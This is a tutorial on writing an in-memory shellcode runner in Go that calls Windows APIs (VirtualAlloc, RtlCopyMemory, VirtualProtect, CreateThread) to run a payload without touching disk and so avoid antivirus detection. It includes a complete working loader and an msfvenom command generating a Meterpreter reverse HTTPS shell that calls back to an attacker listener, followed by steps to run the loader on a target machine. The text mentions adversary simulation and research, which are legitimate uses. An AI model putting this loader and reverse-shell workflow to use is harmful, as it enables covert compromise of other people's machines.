In Memory Shellcode Runner in Golang
Introduction
When creating a malware, for adversary simulation or even if you’re a malware researcher, who is analyzing a sample, you may have come across this technique, where the actual malware dropper runs the actual malicious piece of code in memory. This skips the necessity of having a file to the disk, which can get detected by AV Softwares. Although, actual malware samples and APT groups use better obfuscation techniques to evade Anti-Virus, but we can learn the basic techniques used. From there we can build our own techniques to evade the EDR Solutions.
In this write-up, we will learn how to create a program in Golang, which will call Win32 APIs, and use them to run our given shellcode in memory.
Steps Required to create a In-memory shellcode runner
There are few simple steps that we need to understand before we learn how to create our program.
- First we need to allocate some memory, where we will copy our shellcode to. We will be doing this by using
VirtualAlloc
. We will set required permissions to make the memory available. We will also make it readable and writable, but not executable - Then, we can copy our shellcode to this allocated memory using
RtlCopyMemory
. - Now, we can use
VirtualProtect
to change the permissions of this piece of memory that we have copied. We can use this method to change the memory to readable and executable - Then we can call
CreateThread
API to execute our shellcode that we have copied to the memory - This will run the shellcode in memory and not create any files
Creating the shellcode Runner
Calling Win32 API
Before we create our shellcode runner, we need to learn how we can call Win32 API in Golang. I came across a really nice blog : How To Call Windows APIs in Golang
We will be using the golang.org/x/sys/windows
library to call the Windows APIs that are required.
- First we will create a file handle to the
kernel32.dll
which contains theCreateThread
method. - Then we will use this file handle to point to the function that we want to invoke. In this case, it is
CreateThread
package main
import (
"fmt"
"unsafe"
windows "golang.org/x/sys/windows"
)
func main() {
kernel32DLL := windows.NewLazyDLL("kernel32.dll")
CreateThread := kernel32DLL.NewProc("CreateThread")
}
- Then we will create another file handle for the
ntdll.dll
which contains theRtlCopyMemory
method - We can use this file handle to point to
RtlCopyMemory
method
ntdll := windows.NewLazySystemDLL("ntdll.dll")
RtlCopyMemory := ntdll.NewProc("RtlCopyMemory")
- As for the other two methods
VirtualAlloc
andVirtualProtect
, these two methods are available ingolang.org/x/sys/windows
package. We can directly call these methods using this library.
Generating the shellcode
- The shellcode we will be using, is a simple meterpreter reverse https
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.183.129 LPORT=443 -f csharp
- Here we are using the C# format for generating the shellcode
- This will create an array of integers in hex format.
- Make sure to convert the shellcode array to
uint8
format. Because each opcode will be unsigned integer not more than 8 bytes - Once done, it will look somewhat as follows
shellcode := [781]uint8{0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x00,....}
Allocating memory for the shellcode
- To allocate memory for the shellcode we will be using
VirtualAlloc
addr,_ := windows.VirtualAlloc(uintptr(0), uintptr(len(shellcode)), 0x3000, 0x04)
- In the above statement,
VirtualAlloc
is being use to allocate memory - The first argument tells the method to leave the address of memory allocation to the API
- The second argument is the length of the shellcode converted to
unintptr
- The third argument, is
0x3000
, which is forMEM_COMMIT
andMEM_RESERVE
. This will make the operating system allocate the memory make it available for use - The last argument is
0x04
, which will tell API to make the memory page read write - Although, we can directly make it read write and executable using the value
0x40
but it is always a good practice to keep it read write which allocating memory - This method will return the start address of the allocated piece of memory
NOTE: Instead of using the hex values, you can also directly refer to the permissions using the library as MEM_COMMIT and MEM_RESERVE
- The following changes will give the same result
addr,_ := windows.VirtualAlloc(uintptr(0), uintptr(len(shellcode)), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)
Copying the shellcode to the allocated memory
- For copy shellcode to the allocated memory, we will be using
RtlCopyMemory
- We already have a pointer to this function.
- We can invoke this function using the
.Call
method
_, _, _ = RtlCopyMemory.Call(addr, uintptr((unsafe.Pointer(&shellcode[0]))), uintptr(len(shellcode)))
- The first argument it takes is the address of the allocated memory
- The second argument is the shellcode that we want to copy to that memory. We have to convert the shellcode to
uintptr
format. We are passing the pointer to the start of the shellcode. (Refer to : How to Call WIndows APIs in Golang) - The last argument is the length of the shellcode
Changing the permissions of the allocated memory
- After copying the shellcode the memory, we need to change the permission to readable and executable, so that the shellcode present there can be executed
var oldProtect uint32
_ = windows.VirtualProtect(addr, uintptr(len(shellcode)), windows.PAGE_EXECUTE_READ, &oldProtect)
- Here we use
VirtualProtect
for this purpose - This function takes the address of allocated memory, length of memory allocate (here size of the shellcode), the permission to give it and an
uint32
pointer to store the old protections
Executing the shellcode in memory
- Now that we have copied the shellcode to memory, we can finally execute it using
CreateThread
API - We have already imported the
CreateThread
method, now we need to invoke it as follows
threadHandle, _, _ := CreateThread.Call(0, 0, addr, uintptr(0), 0, 0)
- We don’t need to the first two arguments, so we leave them as 0
- For the third argument we need to give the address of the allocated memory
- The fourth argument is of type
LPVOID
therefore, we set it touintptr
. It points to the starting address of the arguments residing ta the starting address. Our shellcode does not have any arguments, therefore we can keep it asuintptr(0)
- The last two arguments can be set as 0
One last step
- Even though, we have followed all the necessary steps to create our shellcode runner, one last step is needed, without which, we will not get a shell on our listener
- Once the program has finished execution, the shellcode running in memory as a child process will also stop executing.
- As a result, we will not a shell on our listener
- To solve this, we will use
WaitForSingleObject
API call to wait infinitely till we close execution of the shell
_,_ = windows.WaitForSingleObject(windows.Handle(threadHandle), 0xFFFFFFFF)
- This takes the thread handle and an argument which takes the duration for which it the program will wait
- We specify it as
0xFFFFFFFF
to make the program wait indefinitely till we close the shell on our end
Testing our shellcode runner
- Finally we are ready to test our shellcode runner
- The complete code is given below
package main
import (
"unsafe"
"fmt"
"golang.org/x/sys/windows"
)
func main() {
shellcode := [781]uint8{0xfc,0x48,0x83,0xe4,0xf0,...}
addr, _ := windows.VirtualAlloc(uintptr(0), uintptr(len(shellcode)), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)
fmt.Println("Memory Allocated....")
ntdll := windows.NewLazyDLL("ntdll.dll")
RtlCopyMemory := ntdll.NewProc("RtlCopyMemory")
_, _, _ = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
fmt.Println("Memory Copied....")
var oldProtect uint32
_ = windows.VirtualProtect(addr, uintptr(len(shellcode)), windows.PAGE_EXECUTE_READ, &oldProtect)
fmt.Println("Changed the permission of memory....")
kernel32 := windows.NewLazyDLL("kernel32.dll")
CreateThread := kernel32.NewProc("CreateThread")
fmt.Println("Executing the shellcode.....")
threadHandle, _, _ := CreateThread.Call(0, 0, addr, uintptr(0), 0, 0)
_,_ = windows.WaitForSingleObject(windows.Handle(threadHandle), 0xFFFFFFFF)
}
- We will start our listener on metasploit
- Then we will build and execute the shellcode runner from our target machine
- This will give us a shell on our listener
- This is how we can create an in-memory shellcode runner using golang
References
-
Microsoft Documentation -> for getting information about the Windows APIs that we have used